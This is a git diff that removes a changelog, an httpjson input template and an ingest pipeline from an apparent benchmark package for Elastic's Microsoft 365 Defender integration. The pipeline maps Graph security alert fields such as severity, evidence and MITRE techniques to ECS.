-  changes:
-    - description: Add vulnerability data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13595
-- version: "3.7.0"
-  changes:
-    - description: Set `device.id` in all datasets and `application.name` in event dataset.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13931
-- version: "3.6.0"
-  changes:
-    - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in all data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13984
-- version: "3.5.0"
-  changes:
-    - description: Normalize `event.severity` values across EDR integrations.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13955
-- version: "3.4.0"
-  changes:
-    - description: Set `cloud.instance.id` in event dataset.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13769
-- version: "3.3.1"
-  changes:
-    - description: Fix default request trace enabled behavior.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13712
-- version: "3.3.0"
-  changes:
-    - description: Improve `user.name` handling.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13554
-- version: "3.2.0"
-  changes:
-    - description: Enable request trace log removal.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13452
-- version: "3.1.0"
-  changes:
-    - description: Improve performance of event ingest pipeline.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13335
-- version: "3.0.1"
-  changes:
-    - description: Fix `event.category` value for the AdvancedHunting-AlertInfo event.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13185
-- version: "2.25.0"
-  changes:
-    - description: Add a toggle button for including unknown members in properties of evolvable enum types.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13166
-- version: "2.24.0"
-  changes:
-    - description: Enable Agentless deployment.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12891
-- version: "2.23.0"
-  changes:
-    - description: Add email ECS fields to alert data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12888
-- version: "2.22.1"
-  changes:
-    - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12781
-- version: "2.22.0"
-  changes:
-    - description: Update Kibana constraint to support 9.0.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12593
-- version: "2.21.1"
-  changes:
-    - description: Fix mapping of Defender InternetMessageId and NetworkMessageId values.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12546
-    - description: Fix removal behavior for ECS-mapped `m365_defender.event.internet_message_id` field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12546
-- version: "2.21.0"
-  changes:
-    - description: Add ASN enrichment for IP addresses.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12449
-- version: "2.20.0"
-  changes:
-    - description: Make token endpoint configurable for Alert data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12401
-- version: "2.19.0"
-  changes:
-    - description: Add support for `IdentityInfo` advanced hunting table.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12214
-- version: "2.18.0"
-  changes:
-    - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12109
-- version: "2.17.1"
-  changes:
-    - description: Change connection_string to be a secret
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12112
-- version: "2.17.0"
-  changes:
-    - description: Do not remove `event.original` in main ingest pipeline.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12076
-- version: "2.16.0"
-  changes:
-    - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12046
-- version: "2.15.2"
-  changes:
-    - description: Fix string literals in painless scripts.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12047
-- version: "2.15.1"
-  changes:
-    - description: Add caseless fields to process events.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11020
-- version: "2.15.0"
-  changes:
-    - description: Fix OS assignment for Windows devices.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10953
-    - description: Set `host.os.type` to unix for all POSIX systems without a known platform.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10953
-- version: "2.14.7"
-  changes:
-    - description: Fix pipeline errors for DNS logs.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10947
-- version: "2.14.6"
-  changes:
-    - description: Fix dashboard filters to look for correct event.severity values.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10810
-- version: "2.14.5"
-  changes:
-    - description: Fix mapping issue for DNS answers field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10772
-- version: "2.14.4"
-  changes:
-    - description: Fix `host.mac` gsub processor to handle MAC addresses with `-` already present.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10798
-- version: "2.14.3"
-  changes:
-    - description: Fix sslconnectioninspected event `network.protocol` getting set to `dns`.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10730
-- version: "2.14.2"
-  changes:
-    - description: Fix `network.transport` and `network.protocol` processing.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10418
-- version: "2.14.1"
-  changes:
-    - description: Fix process executable containing duplicate process name.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10280
-- version: "2.14.0"
-  changes:
-    - description: Improve ECS mappings
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10179
-- version: "2.13.0"
-  changes:
-    - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10135
-- version: "2.12.0"
-  changes:
-    - description: Make `host.ip` and `host.mac` fields conform to ECS field definition.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10120
-- version: "2.11.0"
-  changes:
-    - description: Improve detection rules support
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9860
-- version: "2.10.0"
-  changes:
-    - description: Improve handling of empty responses.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9974
-- version: "2.9.1"
-  changes:
-    - description: Drop last page events in the alerts datastream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9983
-- version: "2.9.0"
-  changes:
-    - description: Improve command line analyser.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9812
-- version: "2.8.1"
-  changes:
-    - description: Resolved ignore_malformed issues with fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9832
-- version: "2.8.0"
-  changes:
-    - description: Set sensitive values as secret and fix incorrect mappings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9127
-- version: "2.7.1"
-  changes:
-    - description: Handle invalid IP addresses.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9060
-- version: "2.7.0"
-  changes:
-    - description: Add support of Alert Data Stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8950
-- version: "2.6.2"
-  changes:
-    - description: Fix cursor value and query building for log data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8492
-- version: "2.6.1"
-  changes:
-    - description: Changed owners
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8943
-- version: "2.6.0"
-  changes:
-    - description: Add geoip processing to source and destination IP fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8899
-- version: "2.5.1"
-  changes:
-    - description: Fix `process.command_line` overwritten by `process.parent.command_line`.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8872
-- version: "2.5.0"
-  changes:
-    - description: Limit request tracer log count to five.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8489
-- version: 2.4.0
-  changes:
-    - description: ECS version updated to 8.11.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8434
-- version: 2.3.1
-  changes:
-    - description: Remove renaming the original `message` field to `event.original`
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8090
-- version: 2.3.0
-  changes:
-    - description: ECS version updated to 8.10.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7919
-- version: 2.2.0
-  changes:
-    - description: "The format_version in the package manifest changed from 2.11.0 to 3.0.0. Removed dotted YAML keys from package manifest. Added 'owner.type: elastic' to package manifest."
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7883
-- version: "2.1.0"
-  changes:
-    - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7789
-- version: "2.0.1"
-  changes:
-    - description: Fix template snippet escaping and add event.kind for pipeline errors.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7707
-- version: "2.0.0"
-  changes:
-    - description: Major improvements in ECS field coverage and additional field mappings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7522
-- version: "1.17.1"
-  changes:
-    - description: Fix fingerprint processor on `log` datastream to avoid document conflicts
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/7255
-- version: "1.17.0"
-  changes:
-    - description: Add support for newer Oauth Token Endpoint and fixes in some ECS mappings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7119
-- version: "1.16.0"
-  changes:
-    - description: Update package to ECS 8.9.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7110
-- version: "1.15.0"
-  changes:
-    - description: Document duration units.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6992
-- version: "1.14.0"
-  changes:
-    - description: Update package-spec to 2.9.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/7123
-- version: "1.13.0"
-  changes:
-    - description: Convert dashboards to Lens.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6898
-- version: "1.12.0"
-  changes:
-    - description: Document valid duration units.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6706
-- version: "1.11.2"
-  changes:
-    - description: Added the mapping for user.name field into the incident data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/6731
-- version: "1.11.1"
-  changes:
-    - description: Fix event.query type to group
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/6696
-- version: "1.11.0"
-  changes:
-    - description: Ensure event.kind is correctly set for pipeline errors.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6661
-- version: "1.10.0"
-  changes:
-    - description: Update package to ECS 8.8.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6327
-- version: "1.9.0"
-  changes:
-    - description: Add and lowercase host.name field
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6057
-- version: "1.8.0"
-  changes:
-    - description: Add a new flag to enable request tracing
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/6115
-- version: "1.7.1"
-  changes:
-    - description: Update event.kind to alert for Incident data stream and handle null value for AttackTechniques field in Event data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/issues/5744
-- version: "1.7.0"
-  changes:
-    - description: Update package to ECS 8.7.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5765
-- version: "1.6.2"
-  changes:
-    - description: Added categories and/or subcategories.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/5123
-- version: "1.6.1"
-  changes:
-    - description: Update datastreams titles and ReadMe.
-      type: enhancement
-      link: https://github.com/elastic/integrations/issues/5408
-- version: "1.6.0"
-  changes:
-    - description: Add New Event Data Stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4962
-- version: "1.5.1"
-  changes:
-    - description: Drop empty event sets in log data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/5164
-- version: "1.5.0"
-  changes:
-    - description: Update package to ECS 8.6.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4576
-- version: "1.4.3"
-  changes:
-    - description: Update API version for incident data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4893
-    - description: Mark log data stream as deprecated because it's using the older defender APIs.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4893
-- version: "1.4.2"
-  changes:
-    - description: Bugfixes for when entities fields are empty.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/4865
-- version: "1.4.1"
-  changes:
-    - description: Remove duplicate fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/4611
-- version: "1.4.0"
-  changes:
-    - description: Add New Incident Data Stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4435
-- version: "1.3.0"
-  changes:
-    - description: Update package to ECS 8.5.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/4285
-- version: "1.2.0"
-  changes:
-    - description: Update package to ECS 8.4.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3867
-- version: "1.1.2"
-  changes:
-    - description: Fix proxy URL documentation rendering.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3881
-- version: "1.1.1"
-  changes:
-    - description: Update package name and description to align with standard wording
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3478
-- version: "1.1.0"
-  changes:
-    - description: Update package to ECS 8.3.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/3353
-- version: "1.0.4"
-  changes:
-    - description: Update duplication handling to also support Redirect type alerts
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3194
-- version: "1.0.3"
-  changes:
-    - description: Add duplication handling in ingest pipeline
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3194
-- version: "1.0.2"
-  changes:
-    - description: Fix mapping for comments field and add missing fields
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/3181
-- version: "1.0.1"
-  changes:
-    - description: Add documentation for multi-fields
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2916
-- version: "1.0.0"
-  changes:
-    - description: First version
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/2854
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
deleted file mode 100644
index f5684a1dc9..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
+++ /dev/null
@@ -1,76 +0,0 @@
-config_version: 2
-interval: {{interval}}
-request.tracer:
-  enabled: {{enable_request_tracer}}
-  filename: "../../logs/httpjson/http-request-trace-*.ndjson"
-  maxbackups: 5
-auth.oauth2.client.id: {{client_id}}
-auth.oauth2.client.secret: {{client_secret}}
-auth.oauth2.token_url: {{login_url}}/{{tenant_id}}/{{token_endpoint}}
-auth.oauth2.scopes: {{request_url}}/.default
-{{#if oauth_endpoint_params}}
-auth.oauth2.endpoint_params: {{oauth_endpoint_params}}
-{{/if}}
-request.url: {{request_url}}/v1.0/security/alerts_v2
-{{#if http_client_timeout}}
-request.timeout: {{http_client_timeout}}
-{{/if}}
-{{#if proxy_url}}
-request.proxy_url: {{proxy_url}}
-{{/if}}
-{{#if ssl}}
-request.ssl: {{ssl}}
-{{/if}}
-request.transforms:
-  - set:
-      target: url.params.$top
-      value: {{batch_size}}
-  - set:
-      target: url.params.$skip
-      value: 0
-  - set:
-      target: url.params.$filter
-      value: 'lastUpdateDateTime ge [[.cursor.last_update_time]]'
-      default: 'lastUpdateDateTime ge [[formatDate (now (parseDuration "-{{initial_interval}}"))]]'
-  - set:
-      target: url.params.$orderby
-      value: 'lastUpdateDateTime asc'
-{{#if include_unknown_enum_members}}
-  - set:
-      target: "header.Prefer"
-      value: 'include-unknown-enum-members'
-{{/if}}
-response.pagination:
-  - set:
-      target: url.params.$filter
-      value: '[[.last_response.url.params.Get "$filter"]]'
-      fail_on_template_error: true
-      do_not_log_failure: true
-  - set:
-      target: url.params.$skip
-      value: '[[if (eq (len .last_response.body.value) {{batch_size}})]][[add (toInt (.last_response.url.params.Get "$skip")) {{batch_size}}]][[end]]'
-      fail_on_template_error: true
-      do_not_log_failure: true
-response.split:
-  target: body.value
-  ignore_empty_value: true
-cursor:
-  last_update_time:
-    value: '[[.last_event.lastUpdateDateTime]]'
-tags:
-{{#if preserve_original_event}}
-  - preserve_original_event
-{{/if}}
-{{#if preserve_duplicate_custom_fields}}
-  - preserve_duplicate_custom_fields
-{{/if}}
-{{#each tags as |tag|}}
-  - {{tag}}
-{{/each}}
-{{#contains "forwarded" tags}}
-publisher_pipeline.disable_host: true
-{{/contains}}
-{{#if processors}}
-processors:
-{{processors}}
-{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
deleted file mode 100644
index ee0b02a171..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
+++ /dev/null
@@ -1,2860 +0,0 @@
----
-description: Pipeline for processing Alert logs.
-processors:
-  - remove:
-      field:
-        - organization
-        - division
-        - team
-      ignore_missing: true
-      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
-      tag: remove_agentless_tags
-      description: >-
-        Removes the fields added by Agentless as metadata,
-        as they can collide with ECS fields.
-  - set:
-      field: ecs.version
-      tag: set_ecs_version
-      value: '8.11.0'
-  - set:
-      field: event.kind
-      tag: set_event_kind
-      value: alert
-  - rename:
-      field: message
-      tag: rename_message_to_event_original
-      target_field: event.original
-      ignore_missing: true
-      if: ctx.event?.original == null
-  - remove:
-      tag: remove_message_2ee3a7d4
-      field: message
-      ignore_missing: true
-      if: 'ctx.event?.original != null'
-      description: 'The `message` field is no longer required if the document has an `event.original` field.'
-  - json:
-      field: event.original
-      tag: json_event_original
-      target_field: json
-      on_failure:
-        - append:
-            tag: append_error_message_cea45f41
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - drop:
-      tag: drop_if_event_is_malformed
-      description: |
-        If an empty 'value' array exists, it means the input did not split correctly because we have
-        no more alerts and the event can be ignored.
-      if: ctx.json?.value instanceof List && ctx.json.value.length == 0
-  - fail:
-      tag: fail_if_value_array_has_elements
-      description: |
-        If we get here and the 'value' array has elements it means there is an error in the input 
-        configuration.
-      if: ctx.json?.value instanceof List && ctx.json.value.length > 0
-      message: |
-        There is an unexpected 'value' array with elements. 
-        This indicates a misconfiguration of the input.
-  - fingerprint:
-      fields:
-        - json.id
-        - json.lastUpdateDateTime
-        - json.incidentId
-        - json.providerAlertId
-      tag: fingerprint_processor
-      target_field: _id
-      ignore_missing: true
-  - script:
-      lang: painless
-      description: Drops empty string values recursively.
-      tag: painless_remove_empty_from_evidence
-      if: ctx.json?.evidence != null
-      source: |-
-        boolean drop(Object object) {
-          if (object == '') {
-            return true;
-          } else if (object instanceof Map) {
-            ((Map) object).values().removeIf(v -> drop(v));
-            return (((Map) object).size() == 0);
-          } else if (object instanceof List) {
-            ((List) object).removeIf(v -> drop(v));
-            return (((List) object).length == 0);
-          }
-          return false;
-        }
-        drop(ctx.json.evidence);
-  - script:
-      description: Dynamically map event.category and event.type field from evidence.
-      tag: script_to_set_event_category_and_type
-      lang: painless
-      if: ctx.json?.evidence instanceof List
-      params:
-        '#microsoft.graph.security.analyzedMessageEvidence': email
-        '#microsoft.graph.security.mailboxEvidence': email
-        '#microsoft.graph.security.mailClusterEvidence': email
-        '#microsoft.graph.security.deviceEvidence': host
-        '#microsoft.graph.security.fileEvidence': file
-        '#microsoft.graph.security.ipEvidence': network
-        '#microsoft.graph.security.processEvidence': process
-        '#microsoft.graph.security.registryValueEvidence': registry
-        '#microsoft.graph.security.registryKeyEvidence': registry
-        '#microsoft.graph.security.userEvidence': iam
-        '#microsoft.graph.security.securityGroupEvidence': iam
-        malware: malware
-        malicioususeractivity: malware
-        phishing: email
-        apt: threat
-      source: >
-        def eventCategory = new HashSet();
-        def eventType = new HashSet();
-        for (evidence in ctx.json.evidence) {
-          String mapping = params[evidence["@odata.type"]];
-          if (mapping != null) {
-            eventCategory.add(mapping);
-            if(eventCategory.contains('registry')){
-              eventType.add('access');
-            }
-            else if(eventCategory.contains('threat')){
-              eventType.add('indicator');
-            }
-            else{
-              eventType.add('info');
-            }
-          }
-        }
-        if(ctx.json?.determination != null){
-          String mapping = params[ctx.json.determination.toLowerCase()];
-          if(mapping != null) {
-            eventCategory.add(mapping);
-            if(eventCategory.contains('threat')){
-              eventType.add('indicator');
-            }
-            else{
-              eventType.add('info');
-            }
-          }
-        }
-        if (!eventType.isEmpty()) {
-          def type = new ArrayList();
-          for(def t:eventType) {
-            type.add(t);
-          }
-          Collections.sort(type);
-          ctx.event.type = type;
-        }
-        if (!eventCategory.isEmpty()) {
-          def category = new ArrayList();
-          for(def c:eventCategory) {
-            category.add(c);
-          }
-          Collections.sort(category);
-          ctx.event.category = category;
-        }
-  - dot_expander:
-      field: '@odata.type'
-      tag: dot_expander_@odata_type
-      path: json
-      override: true
-      on_failure:
-        - append:
-            tag: append_error_message_7172c928
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.@odata.type
-      tag: rename_@odata_type
-      target_field: m365_defender.alert.odata_type
-      ignore_missing: true
-  - date:
-      field: json.lastUpdateDateTime
-      tag: date_lastUpdateDateTime
-      formats:
-        - ISO8601
-      if: ctx.json?.lastUpdateDateTime != null && ctx.json.lastUpdateDateTime != ''
-      on_failure:
-        - append:
-            tag: append_error_message_68a7a0b9
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: m365_defender.alert.last_update_datetime
-      tag: set_last_update_datetime
-      copy_from: '@timestamp'
-      ignore_empty_value: true
-  - rename:
-      field: json.description
-      tag: rename_description
-      target_field: m365_defender.alert.description
-      ignore_missing: true
-  - set:
-      field: message
-      tag: set_message
-      copy_from: m365_defender.alert.description
-      ignore_empty_value: true
-  - rename:
-      field: json.tenantId
-      tag: rename_tenantId
-      target_field: m365_defender.alert.tenant_id
-      ignore_missing: true
-  - set:
-      field: cloud.account.id
-      tag: set_cloud_account_id
-      copy_from: m365_defender.alert.tenant_id
-      ignore_empty_value: true
-  - date:
-      field: json.createdDateTime
-      tag: date_createdDateTime
-      target_field: m365_defender.alert.created_datetime
-      formats:
-        - ISO8601
-      if: ctx.json?.createdDateTime != null && ctx.json.createdDateTime != ''
-      on_failure:
-        - append:
-            tag: append_error_message_686dd3a2
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.created
-      tag: set_event_created
-      copy_from: m365_defender.alert.created_datetime
-      ignore_empty_value: true
-  - date:
-      field: json.lastActivityDateTime
-      tag: date_lastActivityDateTime
-      target_field: m365_defender.alert.last_activity_datetime
-      formats:
-        - ISO8601
-      if: ctx.json?.lastActivityDateTime != null && ctx.json.lastActivityDateTime != ''
-      on_failure:
-        - append:
-            tag: append_error_message_8b559792
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.end
-      tag: set_event_end
-      copy_from: m365_defender.alert.last_activity_datetime
-      ignore_empty_value: true
-  - rename:
-      field: json.id
-      tag: rename_id
-      target_field: m365_defender.alert.id
-      ignore_missing: true
-  - set:
-      field: event.id
-      tag: set_event_id
-      copy_from: m365_defender.alert.id
-      ignore_empty_value: true
-  - rename:
-      field: json.serviceSource
-      tag: rename_serviceSource
-      target_field: m365_defender.alert.service_source
-      ignore_missing: true
-  - set:
-      field: event.provider
-      tag: set_event_provider
-      copy_from: m365_defender.alert.service_source
-      ignore_empty_value: true
-  - rename:
-      field: json.severity
-      tag: rename_severity
-      target_field: m365_defender.alert.severity
-      ignore_missing: true
-  - script:
-      lang: painless
-      description: Script to set event.severity.
-      tag: set_event_severity
-      if: ctx.m365_defender?.alert?.severity instanceof String
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        String risk_score_value = ctx.m365_defender.alert.severity;
-        if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("informational")) {
-          ctx.event.severity = 21;
-        } else if (risk_score_value.equalsIgnoreCase("medium")) {
-          ctx.event.severity = 47;
-        } else if (risk_score_value.equalsIgnoreCase("high")) {
-          ctx.event.severity = 73;
-        } else if (risk_score_value.equalsIgnoreCase("critical")) {
-          ctx.event.severity = 99;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_7616b08e
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.firstActivityDateTime
-      tag: date_firstActivityDateTime
-      target_field: m365_defender.alert.first_activity_datetime
-      formats:
-        - ISO8601
-      if: ctx.json?.firstActivityDateTime != null && ctx.json.firstActivityDateTime != ''
-      on_failure:
-        - append:
-            tag: append_error_message_7c22fa58
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.start
-      tag: set_event_start
-      copy_from: m365_defender.alert.first_activity_datetime
-      ignore_empty_value: true
-  - script:
-      description: Determine event.duration from starting and ending activity timestamp.
-      tag: script_event_duration
-      lang: painless
-      if: ctx.event?.start != null && ctx.event?.end != null
-      source: |
-        Instant eventstart = ZonedDateTime.parse(ctx.event?.start).toInstant();
-        Instant eventend = ZonedDateTime.parse(ctx.event?.end).toInstant();
-        ctx.event['duration'] = ChronoUnit.NANOS.between(eventstart, eventend);
-  - uri_parts:
-      field: json.alertWebUrl
-      tag: uri_parts_alertWebUrl
-      target_field: m365_defender.alert.web_url
-      if: ctx.json?.alertWebUrl != null
-      keep_original: true
-      on_failure:
-        - remove:
-            tag: remove_json_alertWebUrl_12dda30b
-            field: json.alertWebUrl
-        - append:
-            tag: append_error_message_ce0a2478
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.url
-      tag: set_event_url
-      copy_from: m365_defender.alert.web_url.original
-      ignore_empty_value: true
-  - rename:
-      field: json.assignedTo
-      tag: rename_assignedTo
-      target_field: m365_defender.alert.assigned_to
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_related_user
-      value: '{{{m365_defender.alert.assigned_to}}}'
-      if: ctx.m365_defender?.alert?.assigned_to != null
-      allow_duplicates: false
-  - set:
-      field: source.user.name
-      tag: set_source_user_name
-      copy_from: m365_defender.alert.assigned_to
-      ignore_empty_value: true
-  - rename:
-      field: json.threatFamilyName
-      tag: rename_threatFamilyName
-      target_field: m365_defender.alert.threat_family_name
-      ignore_missing: true
-  - rename:
-      field: json.category
-      tag: rename_category
-      target_field: m365_defender.alert.category
-      ignore_missing: true
-  - append:
-      field: threat.tactic.name
-      tag: append_threat_tactic_name
-      value: '{{{m365_defender.alert.category}}}'
-      if: ctx.m365_defender?.alert?.category != null
-      allow_duplicates: false
-  - rename:
-      field: json.mitreTechniques
-      tag: rename_mitreTechniques
-      target_field: m365_defender.alert.mitre_techniques
-      ignore_missing: true
-  - set:
-      field: threat.technique.subtechnique.id
-      tag: set_threat_technique_subtechnique_id
-      copy_from: m365_defender.alert.mitre_techniques
-      ignore_empty_value: true
-  - rename:
-      field: json.actorDisplayName
-      tag: rename_actorDisplayName
-      target_field: m365_defender.alert.actor_display_name
-      ignore_missing: true
-  - rename:
-      field: json.classification
-      tag: rename_classification
-      target_field: m365_defender.alert.classification
-      ignore_missing: true
-  - foreach:
-      field: json.comments
-      tag: foreach_comments
-      if: ctx.json?.comments instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: foreach_comments_append_createdByDisplayName
-          value: '{{{_ingest._value.createdByDisplayName}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.comments
-      tag: rename_comments
-      target_field: m365_defender.alert.comments
-      ignore_missing: true
-  - rename:
-      field: json.detectorId
-      tag: rename_detectorId
-      target_field: m365_defender.alert.detector_id
-      ignore_missing: true
-  - rename:
-      field: json.detectionSource
-      tag: rename_detection_source
-      target_field: m365_defender.alert.detection_source
-      ignore_missing: true
-  - rename:
-      field: json.determination
-      tag: rename_determination
-      target_field: m365_defender.alert.determination
-      ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_createdDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        date:
-          field: _ingest._value.createdDateTime
-          tag: date_foreach_evidence_createdDateTime
-          target_field: _ingest._value.created_datetime
-          formats:
-            - ISO8601
-          on_failure:
-            - remove:
-                field: _ingest._value.createdDateTime
-                ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_remediationStatus
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.remediationStatus
-          tag: foreach_rename_remediationStatus
-          target_field: _ingest._value.remediation_status
-          ignore_missing: true
